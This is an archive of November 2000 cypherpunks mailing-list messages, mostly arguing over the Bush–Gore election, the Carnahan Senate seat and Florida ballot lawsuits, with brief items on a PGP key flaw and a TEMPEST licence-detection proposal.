"The Cubbie" Elliott > ICQ#23758827 > From declan at well.com Thu Nov 9 20:17:37 2000 From: declan at well.com (Declan McCullagh) Date: Thu, 9 Nov 2000 23:17:37 -0500 Subject: CDR: Re: A very brief politcal rant In-Reply-To: <090825D1E60BD311B8390090276D5C4965DD02@galileo.luminousnetworks.com>; from ernest@luminousnetworks.com on Thu, Nov 09, 2000 at 01:06:09PM -0500 References: <090825D1E60BD311B8390090276D5C4965DD02@galileo.luminousnetworks.com> Message-ID: <20001109233531.B431@cluebot.com> Well, if it is an unconstitutional election-appointment combination, then technicalities *do* count, if only to keep some respect for that tattered document alive. I don't care much about that election, and it is big of Ashcroft to step aside, but the law turns on what you dismiss as mere "technicalities." -Declan On Thu, Nov 09, 2000 at 01:06:09PM -0500, Ernest Hua wrote: > Um ... this is a good technical argument, but it does not address > the basic premise that what the voters wants is what the voters > should get. There is no question what the voter wants. They > knew ahead of time that they would be voting for a dead man's wife. > The appointment may be technically flawed, but for a judge to throw > this out would require finding a serious problem. Technicality is > probably not a serious enough problem to go against the electorate. > > Ern > > -----Original Message----- > X-Loop: openpgp.net > From: Jim Burnes [mailto:jburnes at savvis.net] > Sent: Thursday, November 09, 2000 9:13 AM > To: Multiple recipients of list > Subject: Re: A very brief politcal rant > > > > On Wed, 08 Nov 2000, William H. Geiger III wrote: > > In <973697805.3a09730d4e448 at webmail.cotse.com>, on 11/08/00 > > > > at 09:36 AM, brflgnk at cotse.com said: > > >If the citizens of Missouri chose to elect a deceased person as Senator, > > >I think that's exactly what they should get. Leave the seat empty for > > >two years. > > > > Someone had brought up the Constitutionality of having a dead man on the > > ballot. The reasoning was that the deceased are no longer legally citizens > > and therefore do not meet the Constitutional requirements for office. > > Even more significant is that a dead man cannot take the oath of office. > > If he can't take the oath of office he can't occupy the office. The > governor only has the power to replace a senatoratorial position if > the current office holder dies. > > Since Carnahan died before he took office, the office remains unfilled. The > > governor does not have power to appoint senators willy-nilly. The office > must > be held before it can be filled. The correct solution would be to hold a > special election so that the public has a chance to know who they are voting > into office. What the democrats are afraid of is that his wife might be > less fit to hold that office than her husband in some democrat's minds > (after debates etc). > > Here is a question? Would it be vote fraud to run one person's name on the > ballot and replace him with someone else when he won? > > jim > > -- > Sometimes it is said that man can not be trusted with the government of > himself. Can he, then, be trusted with the government of others? Or have we > found angels in the forms of kings to govern him? Let history answer this > question. -- Thomas Jefferson, 1st Inaugural > From petro at bounty.org Thu Nov 9 23:56:53 2000 From: petro at bounty.org (petro) Date: Thu, 9 Nov 2000 23:56:53 -0800 Subject: CDR: Re: A very brief politcal rant In-Reply-To: <00110903021809.02765@reality.eng.savvis.net> References: <090825D1E60BD311B8390090276D5C4965DD04@galileo.luminousnetworks.com> <00110903021809.02765@reality.eng.savvis.net> Message-ID: >a Democrat -- and that might well be so. But I doubt the >Federal Election Commision will think much of a ballot >where 'you vote Democratic -- we'll fill in the blank' >is a legitimate vote. > >I would say the same for any 'candidate', but they Republican, >Democrat, Libertarian or Dead. It's called "Straight Party", and IIRC it is a box on the Missouri ballots. I *know* it was on the Illinois ballots. Saves dead people time you understand, they only have a limited amount of time. -- A quote from Petro's Archives: ********************************************** "Despite almost every experience I've ever had with federal authority, I keep imagining its competence." John Perry Barlow From petro at bounty.org Fri Nov 10 00:00:07 2000 From: petro at bounty.org (petro) Date: Fri, 10 Nov 2000 00:00:07 -0800 Subject: CDR: Re: A very brief politcal rant In-Reply-To: References: Message-ID: >At 2:05 PM -0500 on 11/9/00, Jim Burnes wrote: > > >> I've seen first hand the intent and demeanor of St. Louis >> politics and its not pretty. > >Agreed. I don't know if it still is, but, say, 23 years ago, St. Louis was >a great place to be *from*. According to the wife, it's a really nice city if you don't mind living in a really big small town. "It's a great place to visit" she says. I disagree, but then I've got family there. -- A quote from Petro's Archives: ********************************************** "Despite almost every experience I've ever had with federal authority, I keep imagining its competence." John Perry Barlow From ernest at luminousnetworks.com Thu Nov 9 21:51:05 2000 From: ernest at luminousnetworks.com (Ernest Hua) Date: Fri, 10 Nov 2000 00:51:05 -0500 Subject: CDR: RE: A very brief politcal rant Message-ID: <090825D1E60BD311B8390090276D5C4965DD0B@galileo.luminousnetworks.com> As I said earlier, a court may very well find some Constitutional issue or something else very serious about the appointment. But I would think that, in that event, there will be some other way found to work around the necessity for an appointment. Special bill passed in the state legislature? Who knows. My original point still stands. The voters should get what they want, unless they want something clearly illegal. That's a clear principle in our pseudo-democracy. Every principle has a point where it must be compromised to appropriately coexist with other principles. But it is clear that if the voters have spoken, there has to be a strong counter argument before their wishes can be voided in effect (not just in procedure). I am quite certain this principle will have a strong impact on the outcome, should should the issue go to trial. Ern -----Original Message----- X-Loop: openpgp.net From: Declan McCullagh [mailto:declan at well.com] Sent: Thursday, November 09, 2000 8:18 PM To: Multiple recipients of list Subject: Re: A very brief politcal rant Well, if it is an unconstitutional election-appointment combination, then technicalities *do* count, if only to keep some respect for that tattered document alive. I don't care much about that election, and it is big of Ashcroft to step aside, but the law turns on what you dismiss as mere "technicalities." -Declan On Thu, Nov 09, 2000 at 01:06:09PM -0500, Ernest Hua wrote: > Um ... this is a good technical argument, but it does not address > the basic premise that what the voters wants is what the voters > should get. There is no question what the voter wants. They > knew ahead of time that they would be voting for a dead man's wife. > The appointment may be technically flawed, but for a judge to throw > this out would require finding a serious problem. Technicality is > probably not a serious enough problem to go against the electorate. > > Ern > > -----Original Message----- > X-Loop: openpgp.net > From: Jim Burnes [mailto:jburnes at savvis.net] > Sent: Thursday, November 09, 2000 9:13 AM > To: Multiple recipients of list > Subject: Re: A very brief politcal rant > > > > On Wed, 08 Nov 2000, William H. Geiger III wrote: > > In <973697805.3a09730d4e448 at webmail.cotse.com>, on 11/08/00 > > > > at 09:36 AM, brflgnk at cotse.com said: > > >If the citizens of Missouri chose to elect a deceased person as Senator, > > >I think that's exactly what they should get. Leave the seat empty for > > >two years. > > > > Someone had brought up the Constitutionality of having a dead man on the > > ballot. The reasoning was that the deceased are no longer legally citizens > > and therefore do not meet the Constitutional requirements for office. > > Even more significant is that a dead man cannot take the oath of office. > > If he can't take the oath of office he can't occupy the office. The > governor only has the power to replace a senatoratorial position if > the current office holder dies. > > Since Carnahan died before he took office, the office remains unfilled. The > > governor does not have power to appoint senators willy-nilly. The office > must > be held before it can be filled. The correct solution would be to hold a > special election so that the public has a chance to know who they are voting > into office. What the democrats are afraid of is that his wife might be > less fit to hold that office than her husband in some democrat's minds > (after debates etc). > > Here is a question? Would it be vote fraud to run one person's name on the > ballot and replace him with someone else when he won? > > jim > > -- > Sometimes it is said that man can not be trusted with the government of > himself. Can he, then, be trusted with the government of others? Or have we > found angels in the forms of kings to govern him? Let history answer this > question. -- Thomas Jefferson, 1st Inaugural > -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 6719 bytes Desc: not available URL: From maxinux at openpgp.net Thu Nov 9 22:32:42 2000 From: maxinux at openpgp.net (Max Inux) Date: Fri, 10 Nov 2000 01:32:42 -0500 Subject: CDR: Re: A successful lawsuit means Gore wins! In-Reply-To: <026c01c04ad3$3c685800$0100a8c0@nandts> Message-ID: On Thu, 9 Nov 2000, Neil Johnson wrote: >Was the Florida Ballot possibly confusing ? Yes! Thats arguable, Ive seen tests in schools like that before, besides they've used that format before! three times I do believe, just bitching THIS TIME >Should it be redesigned for the next election? Yes! I can buy that >Does it mean those people should get to re-vote ? No! Exactly! They know they control the outcome, it would then become the vote of 19000 people to decide the election. Sorry, election day was November the 7th. >Do I get a chance to do them over ? Nope. >Unless they can demonstrate real fraud or negligence on the part of election >officials (refusing to give voters replacement ballots if they screw up in >the booth), the results of the recount should stand. Otherwise we will be >opening a giant can of worms. Even if there was that sort of negligence (no new ballots) as long as that was equal to everyone there, not just to any one 'type' of person, who cares. No matter what, a revote is impossible. >As for Gore having more actual votes than Bush, it doesn't matter. If you're >not happy about that, push to have the Constitution amended (Good Luck!). I could see that being a possibility Max Inux HTTP://www.OpenPGP.Net From bill.stewart at pobox.com Fri Nov 10 02:45:18 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Fri, 10 Nov 2000 02:45:18 -0800 Subject: CDR: Re: A very brief politcal rant In-Reply-To: References: <00110903021809.02765@reality.eng.savvis.net> <090825D1E60BD311B8390090276D5C4965DD04@galileo.luminousnetworks.com> <00110903021809.02765@reality.eng.savvis.net> Message-ID: <3.0.5.32.20001110024518.00920660@idiom.com> At 11:56 PM 11/9/00 -0800, petro wrote: > >>a Democrat -- and that might well be so. But I doubt the >>Federal Election Commision will think much of a ballot >>where 'you vote Democratic -- we'll fill in the blank' >>is a legitimate vote. >> >>I would say the same for any 'candidate', but they Republican, >>Democrat, Libertarian or Dead. > > It's called "Straight Party", and IIRC it is a box on the >Missouri ballots. I *know* it was on the Illinois ballots. Saves dead >people time you understand, they only have a limited amount of time. Here in San Francisco, having the Straight Party on the ballot would be pretty controversial. >"Despite almost every experience I've ever had with federal >authority, I keep imagining its competence." >John Perry Barlow Voting for the Dead, on the other one's hand, is just fine. Currently, however, it's still Nobody for President. (If New Jersey election laws didn't require the candidate to sign ballot petitions, I was seriously tempted a few years back to put Frank Zappa on the ballot for President. He'd declined somebody's offer because he had cancer, but it only requires 1000 signatures, which would be an afternoon or two at Rutgers :-) Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From maxinux at openpgp.net Thu Nov 9 23:48:54 2000 From: maxinux at openpgp.net (Max Inux) Date: Fri, 10 Nov 2000 02:48:54 -0500 Subject: CDR: Re: Phil Zimmerman Profiled Message-ID: >> Minor controversies continue to dog PGP. Just within the last year, two >> small faults in the released code were discovered. While experts agree that >> neither one presented any practical danger to the security of PGP-based >> communications, both sparked arguments about NAI's ability and even its >> intentions. In the first case, a fault in a specific version for Unix could, >> in principle, compromise a key generated by a method PGP had always >> deprecated: automatically, without user input. > >Heh. A random number generator that produces an output of all zeros. Small >flaw. No biggie. Except for the me that generated a key that was vulnerable to that 0x149DCDDC However I believe there was an email attached to that and the signatures to that key, but apparently not anymore =) And its a big deal, can you say 0 strength key? Max Inux 0xE42A7FB1 http://www.openpgp.net Key fingerprint = E4CA 2B4F 24FC B1BF E671 52D0 9E4B A590 E42A 7FB1 If crypto is outlawed only outlaws will have crypto. 'An it harm none, let it be done' PS, sorry if this is a repost, I posted it about 10 hours ago and it has not gone through ssz, so here it goes to OpenPGP From George at Orwellian.Org Fri Nov 10 01:23:10 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Fri, 10 Nov 2000 04:23:10 -0500 (EST) Subject: CDR: Re: A successful lawsuit means Gore wins! Message-ID: <200011100923.EAA13852@www3.aa.psiweb.com> This is interesting: an unsuccessful lawsuit can mean Gore wins! ---- [snipped] http://www.nytimes.com/2000/11/10/politics/10DATE.html # # Dec. 18, the day that presidential electors are to meet in 50 # state capitals and the District of Columbia, may produce a # political crisis if Florida's 25 votes are still in dispute. # But the crisis will not be constitutional, scholars say, for # the Constitution enables a president to be chosen even if a big # state like Florida does not vote. # # The Constitution requires only that a winning candidate have # the votes of "a majority of the whole number of electors # appointed." If Florida's votes are not resolved by then, or if # a legal restraining order bars Gov. Jeb Bush from filing a # certificate listing Florida's electors, then Mr. Gore has enough # votes from other states, if current vote totals stand and if # his electors keep their pledges, to reach a majority of the 513 # electors actually appointed. # # In either of those cases, or if either Mr. Gore or Mr. Bush gets # Florida's votes, the House of Representatives would have no role # in choosing a president, other than to participate in a Jan. # 6 ceremonial counting of the votes in a joint session with the # Senate. From George at Orwellian.Org Fri Nov 10 02:03:56 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Fri, 10 Nov 2000 05:03:56 -0500 (EST) Subject: CDR: Re: A successful lawsuit means Gore wins! Message-ID: <200011101003.FAA16758@www7.aa.psiweb.com> There's legal precedent for Florida judges to take corrective action if the will of the people (their votes) was thwarted. Which is how it should be. ---- http://www.latimes.com/news/politics/decision2000/lat_legal001110.htm # # Florida Judges Have Power to Upset Elections # # By DAVID G. SAVAGE and HENRY WEINSTEIN, Times Staff Writers # # # WASHINGTON--Florida's Supreme Court has given judges in the state # broad power to overturn an election if flawed ballots create # "reasonable doubt" that the outcome truly reflects "the will # of the voters." # # The law is not clear, however, on how to remedy such a mistake, # especially when a flawed ballot in one county might have changed # a statewide result--let alone possibly determine the outcome # of a national election for president of the United States. # # "We are in uncharted territory," said University of Florida Law # School Dean Jon Mills. Yet Democratic lawyers in Florida were # pointing Thursday to legal decisions that give them a basis for # going to court to challenge the outcome there because of ballot # confusion in Palm Beach County. # # In an opinion issued in 1998, the Florida Supreme Court said # that disputed elections can be voided even when there is no # evidence of fraud or vote stealing. The justices stressed that # election results should reflect the will of the voters. [snip] From George at Orwellian.Org Fri Nov 10 02:19:14 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Fri, 10 Nov 2000 05:19:14 -0500 (EST) Subject: CDR: Re: A successful lawsuit means Gore wins! Message-ID: <200011101019.FAA00885@www9.aa.psiweb.com> George at Orwellian.Org previously wrote: # There's legal precedent for Florida judges # to take corrective action if the will of the # people (their votes) was thwarted. It's started. http://www.gopbi.com/shared/news/politics/florida_gopbi.html # # Judge halts certification of Palm Beach ballots # # The Associated Press # # West Palm Beach -- Presidential ballots in Palm Beach County # can't be certified by the state pending a Tuesday court hearing, # a circuit judge ruled Thursday. # # The preliminary injunction means the county, embroiled in a # controversy over punchcard ballots that allegedly confused voters, # could further delay for days the outcome of the presidential # race between Republican George W. Bush and Democrat Al Gore. # # The order, issued Thursday night by Circuit Judge Kathleen Kroll, # is the result of one of six lawsuits filed in Palm Beach County # by voters who say they may have mistakenly voted for Reform Party # candidate Pat Buchanan instead of Vice President Gore because # of the way the ballot was designed. Two other lawsuits filed # in Tallahassee allege race discrimination in Tuesday's balloting. # # The Palm Beach County voters want a new election in the county. # # In the order, Kroll wrote that based on a lawsuit filed by two # Boca Raton women it appears they would suffer ``irreparable # injury'' if the votes are certified before the case can be heard. # # ``To preserve the electoral process in this presidential election # and the important voters' rights at stake, there is an immediate # need for a resolution in this case,'' Kroll wrote. [snip] From bill.stewart at pobox.com Fri Nov 10 02:19:55 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Fri, 10 Nov 2000 05:19:55 -0500 Subject: CDR: Re: [Correction] More blather from the DEMS on FL In-Reply-To: <871ywk7j9i.fsf@athena.dhis.org> References: Message-ID: <3.0.5.32.20001109215754.009bf460@idiom.com> At 07:41 PM 11/9/00 -0500, David Marshall wrote: >Exit polls are generally worthless, and are totally unofficial and >untrustworthy. Joe Cuban goes into the polls, votes for Bush because >he's well-to-do and wants a tax cut for his small business. He leaves, >and an exit-poller asks him how he voted. He says that he voted for >Gore because he would like to keep his business from mysteriously >burning down, his daughter from mysteriously being raped, himself >from mysteriously being shot, and maybe his car from mysteriously >exploding. This is why we have anonymous voting. This is Florida. You could always say you voted for Mickey Mouse, and because he's a local good ol' boy, they'd figure you *meant* it :-) Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From bill.stewart at pobox.com Fri Nov 10 02:19:55 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Fri, 10 Nov 2000 05:19:55 -0500 Subject: CDR: Re: A very brief politcal rant In-Reply-To: References: Message-ID: <3.0.5.32.20001109225305.009bf460@idiom.com> At 07:14 PM 11/9/00 -0500, R. A. Hettinga wrote: >So, yes, boys and girls, I flunk the Cypherpunk Life-Long Political Purity >Test. > >I Was A Teen-Aged Liberal, a Liberal Until Graduation, whatever. Worse than >that, horrors, I'm still a Unitarian. Heh. I was worse - I was a Republican, but I have rehabilitated myself. (Besides, the Republican Party *did* pay for my first illegal drug use...) Our Quaker meeting back in New Jersey had a few members who'd come over from Unitarianism, because the Unitarians were too structured and dogmatic.... Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From bill.stewart at pobox.com Fri Nov 10 02:40:32 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Fri, 10 Nov 2000 05:40:32 -0500 Subject: CDR: RE: A very brief politcal rant In-Reply-To: <090825D1E60BD311B8390090276D5C4965DD0B@galileo.luminousnet Message-ID: <3.0.5.32.20001110023936.00ac69b0@idiom.com> At 12:51 AM 11/10/00 -0500, Ernest Hua mimed :

My original point still stands.  The voters should get what they
want, unless they want something clearly illegal.  That's a clear Yup. And they should get it good and hard.... (Man, your mailer is broken...) Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From jburnes at savvis.net Fri Nov 10 03:47:43 2000 From: jburnes at savvis.net (Jim Burnes) Date: Fri, 10 Nov 2000 05:47:43 -0600 Subject: CDR: Re: A secure voting protocol In-Reply-To: References: Message-ID: <0011100547430F.02765@reality.eng.savvis.net> On Fri, 10 Nov 2000, Tim May wrote: > At 2:46 PM -0800 11/10/00, Ray Dillinger wrote: > Physical ballot voting has its problems, but at least people > _understand_ the concept of marking a ballot, as opposed to "blinding > the exponent of their elliptic curve function and then solving the > discrete log problem for an n-out-of-m multi-round tournament." > ... > It won't happen in our lifetimes. It may happen in European nations, > but only because the average citizen does what he is told to do more > so than American paranoids and individualists will do. > > --Tim May Agreed. I envision a day (background music swelling and eyes tearing slightly -- an obvious Oscar moment) when it matters little who the President-elect is, because DC is bound and emasculated by its original constitutional chains. The day when the Pres has little more power than the Queen Mother. (Of course the Clinton Administration's idea of a Queen Mother might mean something altogether different ;-) (tim: is a smiley face acceptable as a meta-closing paren?) That should be an easier problem to solve than getting people to accept the validity of exotic crypto voting protocols. jim -- Sometimes it is said that man can not be trusted with the government of himself. Can he, then, be trusted with the government of others? Or have we found angels in the forms of kings to govern him? Let history answer this question. -- Thomas Jefferson, 1st Inaugural From ravage at ssz.com Fri Nov 10 05:11:48 2000 From: ravage at ssz.com (Jim Choate) Date: Fri, 10 Nov 2000 07:11:48 -0600 (CST) Subject: CDR: Re: A successful lawsuit means Gore wins! In-Reply-To: <4.3.1.2.20001109214915.02772e38@shell11.ba.best.com> Message-ID: On Thu, 9 Nov 2000, James A. Donald wrote: > -- > At 05:24 PM 11/9/2000 -0500, George at Orwellian.Org wrote: > > Protest crowds are growing. Bush can't take office when half the > > country thinks people were screwed out of their vote to have that > > happen. > > You are deluded. Perhaps, but the point is a valid one. You're fixing to find out why the people of this country aren't 'sheep' or 'stupid'. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From k.brown at ccs.bbk.ac.uk Fri Nov 10 04:18:15 2000 From: k.brown at ccs.bbk.ac.uk (Ken Brown) Date: Fri, 10 Nov 2000 07:18:15 -0500 Subject: CDR: Re: geezers and ballots References: <29551743e9f383a16b331c6a22f64cf6@mixmaster.ceti.pl> Message-ID: <3A0BE75D.9753A0C8@ccs.bbk.ac.uk> anonymous at openpgp.net wrote: > > If you look at http://cnews.tribune.com/news/image/0,1119,oso-nation-82373,00.html > you see the gripe about the Palm Beach > ballots. > > What they dont mention is that, by > the same visual-illiteracy that > lets Gore votes go to Buchanan, > votes for Browne go to Gore. The same error would send Browne votes to the Socialist candidate. The hole for Buchanan/Foster is immediately to the right of the word "Democratic" (or the line just above it). The hole for McReynolds/Hollis is immediately to the right of the word "Libertarian" Ken Brown From ravage at ssz.com Fri Nov 10 05:20:20 2000 From: ravage at ssz.com (Jim Choate) Date: Fri, 10 Nov 2000 07:20:20 -0600 (CST) Subject: CDR: Re: A successful lawsuit means Gore wins! In-Reply-To: <3A0BEF0B.BFA4828D@ccs.bbk.ac.uk> Message-ID: On Fri, 10 Nov 2000, Ken Brown wrote: > IANAL nor even a USAn but I think your constitution says that the > President is chosen by the electoral college. They can - and I assume > will - choose a President with or without the representatives of > Florida. Go read the 12th. It all assumes the basic vote is valid. This is the same mistake Declan made in his (typically) self-inflating way. And then ask yourself, ok. Let's assume that the vote does go to the EC as it stands. The people in general won't have any faith in the results. Now Congress recognizes this and decides to step in per the 12th. Will this resolve the issue? No. Most people are still going to see a bad election followed by the people who managed the bad election (in principle if not practice) making the choice. Another indication of 'vote value' or lack of it. However it goes, this one is going to wake some folks up. > Floridans will get very cross. You can find copies of your country's > constitution online, if you aren't near a library. It will be more than Floridians. > > > Even if the candidates get together and one is a > > gracious loser, the trauma won't be lessened. > > I'm sure it would, but it is hard to imagine them doing it. See Kennedy/Nixon. I agree with your last statement, you are confused. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From ravage at ssz.com Fri Nov 10 05:29:15 2000 From: ravage at ssz.com (Jim Choate) Date: Fri, 10 Nov 2000 07:29:15 -0600 (CST) Subject: CDR: Student computer usage records available through FOI... Message-ID: See /. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From ravage at ssz.com Fri Nov 10 05:38:32 2000 From: ravage at ssz.com (Jim Choate) Date: Fri, 10 Nov 2000 07:38:32 -0600 (CST) Subject: CDR: Single photons on demand Message-ID: See, http:/www.sciencedaily.com ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From rah at shipwright.com Fri Nov 10 04:47:21 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Fri, 10 Nov 2000 07:47:21 -0500 Subject: CDR: ip: REPUBLICANS CAN'T WIN THIS WAR By: Carole Ward Message-ID: --- begin forwarded text From tcmay at got.net Fri Nov 10 08:19:44 2000 From: tcmay at got.net (Tim May) Date: Fri, 10 Nov 2000 08:19:44 -0800 Subject: CDR: Re: Close Elections and Causality In-Reply-To: References: Message-ID: At 3:17 PM +0200 11/10/00, Sampo A Syreeni wrote: >On Thu, 9 Nov 2000, Tim May wrote: > >>In close elections, as in close sports games, as in the golf example, >>there will be many events which are later claimed to be "hinge >>points," or forks. > >Which is pretty much caused by the count being seen as an advancing 'race' >with a definite order. I've never understood what the hell is a direct >broadcast all about when all the votes have already been cast. Yes, this is precisely the key. The issue of which voting areas "pushed the victor over the top" or "caused" his victory are artifacts of the order in which the vote was counted. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From www-data at klecker.debian.org Fri Nov 10 09:23:56 2000 From: www-data at klecker.debian.org (www-data) Date: Fri, 10 Nov 2000 09:23:56 -0800 Subject: CDR: Your Faq-O-Matic authentication secret Message-ID: To validate your Faq-O-Matic password, you may either enter this secret into the Validation form: Secret: be1da4fe1d5a Or access the following URL. Be careful that, when you copy and paste the URL, the line-break doesn't cut the URL short. http://www.debian.org/cgi-bin/fom?_id=cypherpunks%40toad.com&_pass=cypherpunk&_secret=be1da4fe1d5a&cmd=submitPass Thank you for using Faq-O-Matic. From I.Brown at cs.ucl.ac.uk Fri Nov 10 01:30:57 2000 From: I.Brown at cs.ucl.ac.uk (Ian BROWN) Date: Fri, 10 Nov 2000 09:30:57 +0000 Subject: CDR: Re: BSA deploys imaginary pirate software detector vans In-Reply-To: Your message of "Thu, 09 Nov 2000 18:26:44 CST." <011b01c04aac$e8b0b8e0$0100a8c0@nandts> Message-ID: <548.973848657@cs.ucl.ac.uk> >Wasn't there some articles some time ago about Microsoft doing research into >Tempest/Van Eck (sp) radiation ? It was speculated at the time that they >were going include software to "broadcast" their serial numbers so that >illegal copies could be detected. This was a suggestion by Markus Kuhn and Ross Anderson (at Cambridge University). The paper is at http://www.cl.cam.ac.uk/~mgk25/ih98-tempest.pdf "Our suggestion is that software packages include in their screen layout a few lines with a signal that encodes the license serial number plus a random value . . . a "software detector van" can be used to patrol business districts and other areas where software piracy is suspected. If the van receives twenty signals from the same copy of a software from a company that has only licensed five copies, then probable cause for a search warrant has been established." p.13 From ptrei at rsasecurity.com Fri Nov 10 06:37:42 2000 From: ptrei at rsasecurity.com (Trei, Peter) Date: Fri, 10 Nov 2000 09:37:42 -0500 Subject: CDR: RE: Where is John Young? Message-ID: > ---------- > From: Tim May[SMTP:tcmay at got.net] > At 8:50 AM -0800 11/9/00, A. Melon wrote: > >Declan; > > Why haven't you found out yet what happened to Jim Bell? Certainly > you > >could ask questions of Portland PD, whatever, or his mom, find out what > >they've done with him. > > This is certainly a newsworthy item. Squelching free speech by > terrorizing > >dissedents is what it's all about. > > And where is John Young? His last post I can find was on 11/2. > Nothing since about the time the Bell raid happened. > > (And his posting statistics were fairly uniform prior to this: a post > or two every day, with very few long gaps.) > > I was only half-joking that maybe Bell's and Young's work on tracing > down those CIA safe houses in Bend, Oregon were getting him in > trouble. > > John, say it ain't so. > > --Tim May > There are new articles, dated today, in the cryptome. There is a gap from Nov 5 thru Nov 9. Maybe he went on vacation. Peter Trei From declan at well.com Fri Nov 10 06:51:40 2000 From: declan at well.com (Declan McCullagh) Date: Fri, 10 Nov 2000 09:51:40 -0500 Subject: CDR: Re: A very brief politcal rant In-Reply-To: <090825D1E60BD311B8390090276D5C4965DD0B@galileo.luminousnetworks.com>; from ernest@luminousnetworks.com on Fri, Nov 10, 2000 at 12:51:05AM -0500 References: <090825D1E60BD311B8390090276D5C4965DD0B@galileo.luminousnetworks.com> Message-ID: <20001110101335.A5695@cluebot.com> On Fri, Nov 10, 2000 at 12:51:05AM -0500, Ernest Hua wrote: > My original point still stands. The voters should get what they > want, unless they want something clearly illegal. That's a clear > principle in our pseudo-democracy. Every principle has a point No, your original point was muddled. It's not clear that every voter who chose the dead guy knew that his widow would take the slot. Since the election is so close, that matters. If you want to make sure the voters are getting what they want, put the non-dead-guy's name on the ballot. -Declan From melliott at ncsa.uiuc.edu Fri Nov 10 07:01:56 2000 From: melliott at ncsa.uiuc.edu (Matt Elliott) Date: Fri, 10 Nov 2000 10:01:56 -0500 Subject: CDR: Re: A very brief politcal rant In-Reply-To: References: Message-ID: > It's called "Straight Party", and IIRC it is a box on the >Missouri ballots. I *know* it was on the Illinois ballots. Saves dead >people time you understand, they only have a limited amount of time. They removed it from the Illinois ballots 4 years ago. It now takes me 10 times longer to vote. From ernest at luminousnetworks.com Fri Nov 10 10:28:06 2000 From: ernest at luminousnetworks.com (Ernest Hua) Date: Fri, 10 Nov 2000 10:28:06 -0800 Subject: CDR: Rants and sour grapes ... Message-ID: <090825D1E60BD311B8390090276D5C4965DD10@galileo.luminousnetworks.com> It is abundantly clear to me that much of the ranting going on here on this list is at least 50% sour grapes. Not to pick on Tim, but he just seems like a convenient example; it is clear in Tim's mind that he does not want the possibility of Gore being the next president. He may have some procedural reasons to back this rant up, but he definitely does not like Gore. The same can be said of the rants about the dead guy. The same can be said of the disgruntled voters of Palm county. The same can be said of Republicans and Democrats desperately trying to manipulate the rules to gain some tiny margin of hope of winning. Yes, in all of these cases, the interested party can cite many legal issues and keep lots of lawyers fed and happy. But if the opposing party was the one who might stand to gain from the same procedural maneuvers, these rants and whines would never have come from the same people. I know Tim will be offended because I am accusing him of being less than objective, but I really have trouble believing he would hold the same position so firmly if his favorite candidate might stand to gain from the post-election-day legal challenges. (Like I said, Tim, I'm sorry it looks like I'm picking on you, but you've made yourself so easy to pick on. Perhaps you would just think about what would happen if your candidate was the one who WOULD stand to gain from the legal challenges.) It's just sour grapes. Ern -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 2510 bytes Desc: not available URL: From ptrei at rsasecurity.com Fri Nov 10 07:31:42 2000 From: ptrei at rsasecurity.com (Trei, Peter) Date: Fri, 10 Nov 2000 10:31:42 -0500 Subject: CDR: Re: A successful lawsuit means Gore wins! Message-ID: > Jim Choate[SMTP:ravage at einstein.ssz.com] wrote: > > What happens if by the day the new president is to take his oath there is > still no clear winner? Even if the candidates get together and one is a > gracious loser, the trauma won't be lessened. There will be literaly no > faith in the president. What would Congress need to do in order to pass an > emergency resolution that would allow the current president to stay in > office until the issue is resolved. Could this be a new way to get a third > term? Would the vice-president (who serves when the president can't) then > be the next in line (assume the speaker of the house would be next if > memory serves)? > One of the good results of the current stalemate is that many of us are getting crash courses in constitutional law. This is covered by the Presidential Succession Act of 1947. See http://www.greatsource.com/amgov/almanac/documents/key/1947_psa_1.html There would be appointed an acting president, who would stay in office only until the election was settled. The order of sucession goes; President Clinton Vice President Gore Speaker of the House Hastert President pro-tem of the Senate Gore Secretary of State Albright Secretary of the Treasury Secretary of Defense Attorney General Reno Postmaster General Secretary of the Navy Secretary of the Interior Secretary of Agriculture Secretary of Commerce Secretary of Labor I suspect that the upshot would be that Clinton would stay in office for a while. The other alternative is that the already appointed electors vote, leaving out the unappointed Florida electors. This would throw the race to Gore. Peter Trei From k.brown at ccs.bbk.ac.uk Fri Nov 10 03:34:17 2000 From: k.brown at ccs.bbk.ac.uk (Ken Brown) Date: Fri, 10 Nov 2000 11:34:17 +0000 Subject: CDR: RE: Re: A very brief politcal rant References: Message-ID: 